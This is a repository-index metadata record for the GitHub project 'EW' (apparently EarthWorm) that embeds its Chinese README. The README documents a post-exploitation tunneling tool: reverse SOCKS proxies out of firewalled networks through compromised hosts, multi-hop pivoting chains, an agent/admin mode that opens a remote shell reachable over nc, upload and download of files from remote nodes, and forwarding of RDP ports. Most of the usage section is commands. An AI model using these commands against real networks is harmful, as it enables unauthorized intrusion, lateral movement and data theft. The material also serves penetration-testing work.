{"id":20325834,"url":"https://github.com/paradiseduo/ew","last_synced_at":"2026-02-07T13:01:58.386Z","repository":{"id":109994645,"uuid":"144228498","full_name":"paradiseduo/EW","owner":"paradiseduo","description":null,"archived":false,"fork":false,"pushed_at":"2018-08-10T02:55:19.000Z","size":1062,"stargazers_count":2,"open_issues_count":0,"forks_count":5,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-07-25T22:55:15.617Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/paradiseduo.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2018-08-10T02:49:37.000Z","updated_at":"2024-02-24T21:08:12.000Z","dependencies_parsed_at":null,"dependency_job_id":"9f298828-707a-496f-92a3-e0692fc365db","html_url":"https://github.com/paradiseduo/EW","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/paradiseduo/EW","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/paradiseduo%2FEW","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/paradiseduo%2FEW/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/paradiseduo%2FEW/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/paradiseduo%2FEW/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/paradiseduo","download_url":"https://codeload.github.com/paradiseduo/EW/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/paradiseduo%2FEW/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29194416,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-07T12:38:28.597Z","status":"ssl_error","status_checked_at":"2026-02-07T12:38:23.888Z","response_time":63,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-14T19:41:53.481Z","updated_at":"2026-02-07T13:01:58.351Z","avatar_url":"https://github.com/paradiseduo.png","language":null,"readme":"# EW\n\n【使用场景】\n\n    普通网络环境：\n        1.  目标网络边界存在公网IP且可任意开监听端口：\n\n                  +---------+     +-------------------+  \n                  |HackTools| -\u003e\u003e | 8888-\u003e  1.1.1.1   |\n                  +---------+     +-------------------+\n\n                a)./ew -s ssocksd -l 8888\n                        // 在 1.1.1.1 主机上通过这个命令开启 8888 端口的 socks 代理\n                b) HackTools 可通过访问 1.1.1.1:8888 端口使用 1.1.1.1 主机提供的代理\n                    \n        2.  目标网络边界不存在公网 IP，需要通过反弹方式创建 socks 代理\n            \n                                        一台可控公网IP主机                  可控内网主机\n                  +---------+     +--------------------------+    |     +---------------+\n                  |HackTools| -\u003e\u003e | 1080 -\u003e  1.1.1.1 -\u003e 8888 |  防火墙  | \u003c--  2.2.2.2  |\n                  +---------+     +--------------------------+    |     +---------------+\n\n                a) ./ew -s rcsocks -l 1080 -e 8888\n                            // 在 1.1.1.1 的公网主机添加转接隧道，将 1080 收到的代理请求转交给反连 8888 端口的主机\n                b) ./ew -s rssocks -d 1.1.1.1 -e 8888          \n                            // 将目标网络的可控边界主机反向连接公网主机\n\n                c) HackTools 可通过访问 1.1.1.1:1080 端口使用 rssocks 主机提供的 socks5 代理服务\n\n    对于二重网络环境：        \n        1.  获得目标网络内两台主机 A、B 的权限，情况描述如下：\n\n                A 主机：  存在公网 IP，且自由监听任意端口，无法访问特定资源\n                B 主机：  目标网络内部主机，可访问特定资源，但无法访问公网\n                A 主机可直连 B 主机\n                \n                                        可控边界主机A             可访问指定资源的主机B\n                  +---------+     +-----------------------+      +-----------------+\n                  |HackTools| -\u003e\u003e | 1080 --\u003e  2.2.2.2 --\u003e | -\u003e\u003e  | 9999 -\u003e 2.2.2.3 |\n                  +---------+     +-----------------------+      +-----------------+\n\n                a)  ./ew -s ssocksd -l 9999\n                        // 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理\n                b)  ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999 \n                        // 将 1080 端口收到的 socks 代理请求转交给 2.2.2.3 的主机。\n                c)  HackTools 可通过访问 2.2.2.2:1080 来使用 2.2.2.3 主机提供的 socks5 代理。\n                \n        2.  获得目标网络内两台主机 A、B 的权限，情况描述如下：\n\n                A 主机：  目标网络的边界主机，无公网 IP，无法访问特定资源。\n                B 主机：  目标网络内部主机，可访问特定资源，却无法回连公网。\n\n                A 主机可直连 B 主机\n                                      一台可控公网IP主机                    可控内网主机A         可访问指定资源的主机B\n                  +---------+     +--------------------------+    |    +-----------------+      +-----------------+\n                  |HackTools| -\u003e\u003e | 1080 -\u003e  1.1.1.1 -\u003e 8888 |  防火墙  | \u003c--  2.2.2.2 --\u003e | -\u003e\u003e | 9999 -\u003e 2.2.2.3 |\n                  +---------+     +--------------------------+    |    +-----------------+      +-----------------+\n\n                a)  ./ew -s lcx_listen -l 1080 -e 8888\n                            // 在 1.1.1.1 公网主机添加转接隧道，将 1080 收到的代理请求\n                            // 转交给反连 8888 端口的主机\n                b)  ./ew -s ssocksd -l 9999\n                            // 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理\n                c)  ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999\n                            // 在 2.2.2.2 上，通过工具的 lcx_slave 方式，打通1.1.1.1:8888 和 2.2.2.3:9999 之间的通讯隧道\n                d)  HackTools 可通过访问 1.1.1.1:1080 来使用 2.2.2.3 主机提供的 socks5 代理\n\n\n【参数说明】\n\n    目前工具提供六种链路状态，可通过 -s 参数进行选定，分别为:\n\n        ssocksd   rcsocks   rssocks   \n        lcx_slave lcx_tran  lcx_listen\n\n        其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供，分别对应正向与反向socks代理。\n\n        其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。\n    \n    lcx 类别管道：\n\n        lcx_slave  该管道一侧通过反弹方式连接代理请求方，另一侧连接代理提供主机。\n        lcx_tran   该管道，通过监听本地端口接收代理请求，并转交给代理提供主机。\n        lcx_listen 该管道，通过监听本地端口接收数据，并将其转交给目标网络回连的代理提供主机。\n    \n        通过组合lcx类别管道的特性，可以实现多层内网环境下的渗透测试。\n\n        下面是一个三级跳的本地测试例子。。。\n        ./ew -s rcsocks -l 1080 -e 8888\n        ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999\n        ./ew -s lcx_listen -l 9999 -e 7777\n        ./ew -s rssocks -d 127.0.0.1 -e 7777\n\n        数据流向为   IE -\u003e 1080 -\u003e 8888 -\u003e 9999 -\u003e 7777 -\u003e rssocks \n\n【补充说明】\n        1.为了减少网络资源的消耗，程序中添加了超时机制，默认时间为10000毫秒（10秒），\n          用户可以通过追加 -t 参数来调整这个值，单位为毫秒。在多级级联功能中，超时机制\n          将以隧道中最短的时间为默认值。\n        2.单纯从设计原理上讲，多级级联的三种状态可以转发任意以TCP为基础的通讯服务，\n          包括远程桌面／web服务 等。\n        3.产品包中的 ew_for_Arm32 在开发者已有平台下（android手机、小米路由器、树莓派） 测试无误。\n          如果有其它异常环境请将对应详细细节反馈给作者，以便更新程序问题。\n\n\n# Agent\n\n1. 以服务模式启动一个agent服务。\n\n\u003e $ ./agent -l 8888\n\n2. 令管理端连接到agent并对agent进行管理。\n\n\u003e $ ./admin -c 127.0.0.1 -p 8888\n\n3. 此时，admin端会得到一个内置的shell, 输入help指令可以得到帮助信息。\n\n\u003e\u003e help\n\n4. 通过show指令可以得到当前agent的拓扑情况。\n\n\u003e\u003e show \n 0M\n +-- 1M\n 由于当前拓扑中只有一个agent，所以展示结果只有 1M ,\n  其中1 为节点的ID号，\n  M为MacOS系统的简写，Linux为L，Windows简写为W。\n\n5. 将新agent加入当前拓扑\n\u003e ./agent -c 127.0.0.1 -p 8888\n\n6. 此时show指令将得到如下效果\n 0M\n +-- 1M\n |   +-- 2M\n  这表明，当前拓扑中有两个节点，其中由于2节点需要通过1节点才能访问，所以下挂在1节点下方。\n\n7. 在2节点开启socks代理，并绑定在本地端口\n\u003e\u003e goto 2\n    将当前被管理节点切换为 2 号节点。\n\u003e\u003e socks 1080\n   此时，本地1080 端口会启动个监听服务，而服务提供者为2号节点。\n\n8. 在1号节点开启一个shell并绑定到本地端口\n\u003e\u003e goto 1\n\u003e\u003e shell 7777\n     此时，通过nc本地的 7777 端口，就可以得到一个 1 节点提供的 shell.\n\n9. 将远程的文件下载至本地\n\u003e\u003e goto 1\n\u003e\u003e downfile 1.txt 2.txt\n    将1 节点，目录下的 1.txt 下载至本地，并命名为2.txt\n\n10. 上传文件至远程节点\n\u003e\u003e goto 2\n\u003e\u003e upfile 2.txt 3.txt\n    将本地的 2.txt 上传至 2号节点的目录，并命名为3.txt\n\n11. 端口转接\n\u003e\u003e goto 2 \n\u003e\u003e lcxtran 3388 10.0.0.1 3389\n    以2号节点为跳板，将 10.0.0.1 的 3389 端口映射至本地的 3388 端口\n\n\n# 更多支持\n    http://rootkiter.com/toolvideo/toolmp4/1maintalk.mp4\n    http://rootkiter.com/toolvideo/toolmp4/2socks.mp4\n    http://rootkiter.com/toolvideo/toolmp4/3lcxtran.mp4\n    http://rootkiter.com/toolvideo/toolmp4/4shell.mp4\n    http://rootkiter.com/toolvideo/toolmp4/5file.mp4\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fparadiseduo%2Few","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fparadiseduo%2Few","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fparadiseduo%2Few/lists"}